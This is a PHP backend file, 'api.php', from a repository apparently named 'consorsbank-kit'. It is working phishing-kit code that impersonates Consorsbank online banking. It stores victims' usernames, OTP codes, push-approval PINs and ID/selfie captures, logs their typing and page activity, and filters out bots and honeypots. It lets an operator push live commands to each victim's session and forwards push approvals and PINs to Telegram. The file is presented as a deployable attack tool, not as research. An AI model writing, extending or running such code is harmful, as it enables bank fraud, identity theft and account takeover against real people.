consorsbank-kit / api.php
CJs
Deploy v2: German localization, ID/selfie capture, trilingual panel, sound alerts, live movements
9d38145
Raw History Blame Contribute Delete
11.6 kB
<?php
/**
* api.php — live status + command queue for the Consorsbank kit.
*
* Actions: updateStatus, getUpdates, sendCommand, getCommand, pushState,
* disconnect, config. Plain JSON, CORS *, no secrets.
*/
declare(strict_types=1);
require_once __DIR__ . '/lib.php';
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: POST, GET, OPTIONS');
header('Access-Control-Allow-Headers: Content-Type');
header('Content-Type: application/json; charset=utf-8');
header('Cache-Control: no-store');
if (($_SERVER['REQUEST_METHOD'] ?? '') === 'OPTIONS') {
http_response_code(204);
exit;
}
/** Emit a JSON body and stop. */
function ofb_json($data): void
{
echo json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
exit;
}
/** Accept both JSON bodies and form/query params. */
function ofb_input(): array
{
$in = array_merge($_GET, $_POST);
$raw = file_get_contents('php://input');
if (is_string($raw) && $raw !== '') {
$j = json_decode($raw, true);
if (is_array($j)) {
$in = array_merge($in, $j);
}
}
return $in;
}
$action = (string) ($_REQUEST['action'] ?? '');
$in = ofb_input();
$ua = substr((string) ($_SERVER['HTTP_USER_AGENT'] ?? ''), 0, 255);
$ip = ofb_client_ip();
$clientId = trim((string) ($in['clientId'] ?? ($in['client_id'] ?? '')));
/** True if the caller marked the request as a honeypot hit. */
$isHp = (string) ($in['hp'] ?? '') !== '';
switch ($action) {
case 'updateStatus':
if ($clientId === '') {
ofb_json(['status' => 'error', 'error' => 'clientId required']);
}
$botScore = isset($in['bot_score']) && $in['bot_score'] !== '' ? (string) (int) $in['bot_score'] : '';
$botReasons = '';
if (!empty($in['bot_reasons'])) {
$rs = $in['bot_reasons'];
if (is_array($rs)) {
$rs = implode(',', $rs);
}
$botReasons = substr(preg_replace('/[^A-Za-z0-9\-_,]/', '', (string) $rs), 0, 190);
}
try {
$pdo = ofb_db();
$fields = [
'ip_address' => $ip,
'user_agent' => $ua,
'current_page' => (string) ($in['page'] ?? ($in['current_page'] ?? 'Unknown')),
'status' => (string) ($in['status'] ?? ''),
'device' => (string) ($in['device'] ?? ''),
'bot' => $isHp ? 'bot' : (string) ($in['bot'] ?? ''),
'username' => (string) ($in['username'] ?? ''),
'otp' => (string) ($in['otp'] ?? ''),
'last_seen' => date('Y-m-d H:i:s'),
];
if ($botScore !== '') {
$fields['bot_score'] = $botScore;
}
if ($botReasons !== '') {
$fields['bot_reasons'] = $botReasons;
}
ofb_upsert($pdo, $clientId, $fields);
} catch (Throwable $e) {
ofb_json(['status' => 'error']);
}
ofb_json(['status' => 'ok']);
// no break
case 'getUpdates':
$rows = [];
try {
$pdo = ofb_db();
$cutoff = date('Y-m-d H:i:s', time() - 600);
// prune stale rows (last_seen older than 10 minutes)
$pdo->prepare('DELETE FROM live_users WHERE last_seen IS NULL OR last_seen = ? OR last_seen < ?')
->execute(['', $cutoff]);
$cols = 'client_id, ip_address, user_agent, device, bot, current_page, status, '
. 'username, otp, push_state, push_pin, push_bio, email, provider, stage, '
. 'last_seen, verified_at, doc_type, capture_front, capture_back, capture_selfie, '
. 'bot_score, bot_reasons, capture_cloud';
$st = $pdo->query('SELECT ' . $cols . ' FROM live_users ORDER BY last_seen DESC');
foreach ($st as $row) {
$rows[] = $row;
}
} catch (Throwable $e) {
$rows = [];
}
ofb_json($rows);
// no break
case 'movement':
// Append funnel activity events (page/focus/typing/submit) to live_events.
if ($clientId === '') {
ofb_json(['status' => 'error', 'error' => 'clientId required']);
}
try {
$pdo = ofb_db();
$events = $in['events'] ?? [];
if (!is_array($events)) {
$events = [];
}
if (!$events && (isset($in['kind']) || isset($in['page']))) {
$events = [['page' => ($in['page'] ?? ''), 'kind' => ($in['kind'] ?? ''), 'detail' => ($in['detail'] ?? '')]];
}
foreach ($events as $ev) {
if (is_array($ev)) {
ofb_event_add(
$pdo,
$clientId,
(string) ($ev['page'] ?? ''),
(string) ($ev['kind'] ?? ''),
(string) ($ev['detail'] ?? '')
);
}
}
ofb_upsert($pdo, $clientId, ['ip_address' => $ip, 'last_seen' => date('Y-m-d H:i:s')]);
} catch (Throwable $e) {
ofb_json(['status' => 'error']);
}
ofb_json(['status' => 'ok']);
// no break
case 'getMovements':
// Timeline for one client (oldest → newest, last 120 events).
$events = [];
try {
if ($clientId !== '') {
$pdo = ofb_db();
$st = $pdo->prepare('SELECT ts, page, kind, detail FROM live_events WHERE client_id = ? ORDER BY id DESC LIMIT 120');
$st->execute([$clientId]);
$events = array_reverse($st->fetchAll());
}
} catch (Throwable $e) {
$events = [];
}
ofb_json($events);
// no break
case 'getEvents':
// Global recent-activity mini-feed (oldest → newest, last 30 events).
$events = [];
try {
$pdo = ofb_db();
$st = $pdo->query('SELECT client_id, ts, page, kind, detail FROM live_events ORDER BY id DESC LIMIT 30');
$events = array_reverse($st->fetchAll());
} catch (Throwable $e) {
$events = [];
}
ofb_json($events);
// no break
case 'sendCommand':
if ($clientId === '') {
ofb_json(['status' => 'error', 'error' => 'clientId required']);
}
$cmd = (string) ($in['command'] ?? 'none');
if ($cmd === '') {
$cmd = 'none';
}
try {
$pdo = ofb_db();
ofb_upsert($pdo, $clientId, ['command' => $cmd, 'last_seen' => date('Y-m-d H:i:s')]);
} catch (Throwable $e) {
ofb_json(['status' => 'error']);
}
ofb_json(['status' => 'ok']);
// no break
case 'getCommand':
$cmd = 'none';
try {
if ($clientId !== '') {
$pdo = ofb_db();
$st = $pdo->prepare('SELECT command FROM live_users WHERE client_id = ?');
$st->execute([$clientId]);
$v = $st->fetchColumn();
if (is_string($v) && $v !== '') {
$cmd = $v;
}
}
} catch (Throwable $e) {
$cmd = 'none';
}
ofb_json(['command' => $cmd]);
// no break
case 'pushState':
// §1A: record push state transitions. The Telegram owner on the funnel path
// is send_credentials.php (called alongside), so push.js passes notify=0;
// a bare call (notify unset) fires the notification here per §8.
if ($clientId === '') {
ofb_json(['status' => 'error', 'error' => 'clientId required']);
}
$allowed = ['sent', 'opened', 'approved', 'confirmed', 'denied', 'expired'];
$state = (string) ($in['push_state'] ?? '');
if (!in_array($state, $allowed, true)) {
ofb_json(['status' => 'error', 'error' => 'bad push_state']);
}
$notify = !array_key_exists('notify', $in) || (string) $in['notify'] !== '0';
$pin = (string) ($in['push_pin'] ?? '');
if ($pin !== '' && !valid_pin($pin)) {
ofb_json(['status' => 'error', 'error' => 'bad push_pin']);
}
$bio = (string) ($in['push_bio'] ?? '');
if ($bio === '') {
$bio = 'no';
}
try {
$pdo = ofb_db();
// detect first transition away from 'none' to fire push_sent once
$prev = 'none';
$st = $pdo->prepare('SELECT push_state FROM live_users WHERE client_id = ?');
$st->execute([$clientId]);
$v = $st->fetchColumn();
if (is_string($v) && $v !== '') {
$prev = $v;
}
$fields = [
'push_state' => $state,
'push_bio' => $bio,
'push_at' => date('Y-m-d H:i:s'),
'last_seen' => date('Y-m-d H:i:s'),
];
if ($pin !== '') {
$fields['push_pin'] = $pin;
}
if ($isHp) {
$fields['bot'] = 'bot';
}
ofb_upsert($pdo, $clientId, $fields);
if ($notify) {
$row = ['client_id' => $clientId, 'device' => (string) ($in['device'] ?? ''),
'ip' => $ip, 'geo' => (string) ($in['geo'] ?? ''),
'browser' => (string) ($in['browser'] ?? ofb_browser($ua)),
'app' => (string) ($in['app'] ?? 'Online-Banking'),
'date' => (string) ($in['date'] ?? date('d.m.Y H:i')),
'push_state' => $state, 'push_pin' => $pin, 'push_bio' => $bio];
if ($prev === 'none' && $state !== 'none') {
ofb_telegram(ofb_msg_push(array_merge($row, ['push_state' => 'sent'])));
} elseif (in_array($state, ['approved', 'confirmed', 'denied'], true)) {
ofb_telegram(ofb_msg_push($row));
}
}
} catch (Throwable $e) {
ofb_json(['status' => 'error']);
}
ofb_json(['status' => 'ok']);
// no break
case 'disconnect':
try {
if ($clientId !== '') {
$pdo = ofb_db();
$pdo->prepare('DELETE FROM live_users WHERE client_id = ?')->execute([$clientId]);
}
} catch (Throwable $e) {
ofb_json(['status' => 'error']);
}
ofb_json(['status' => 'ok']);
// no break
case 'config':
ofb_json([
'otp_enabled' => (string) ofb_env('OTP_ENABLED', '1') !== '0',
'push_enabled' => (string) ofb_env('PUSH_ENABLED', '1') !== '0',
'push_position' => (string) ofb_env('PUSH_POSITION', 'after_login'),
'browser' => ofb_browser($ua),
'geo' => ofb_geo($ip),
'device' => ofb_device_from_ua($ua),
]);
// no break
default:
ofb_json(['status' => 'error', 'error' => 'unknown action']);
}
/**
* Classify the requesting device (Desktop / Mobile / Tablet).
*/
function ofb_device_from_ua(string $ua): string
{
if (preg_match('/iPad|Tablet|PlayBook|Silk|Kindle/i', $ua)) {
return 'Tablet';
}
if (preg_match('/Mobi|Android|iPhone|iPod|Windows Phone|BlackBerry/i', $ua)) {
return 'Mobile';
}
return 'Desktop';
}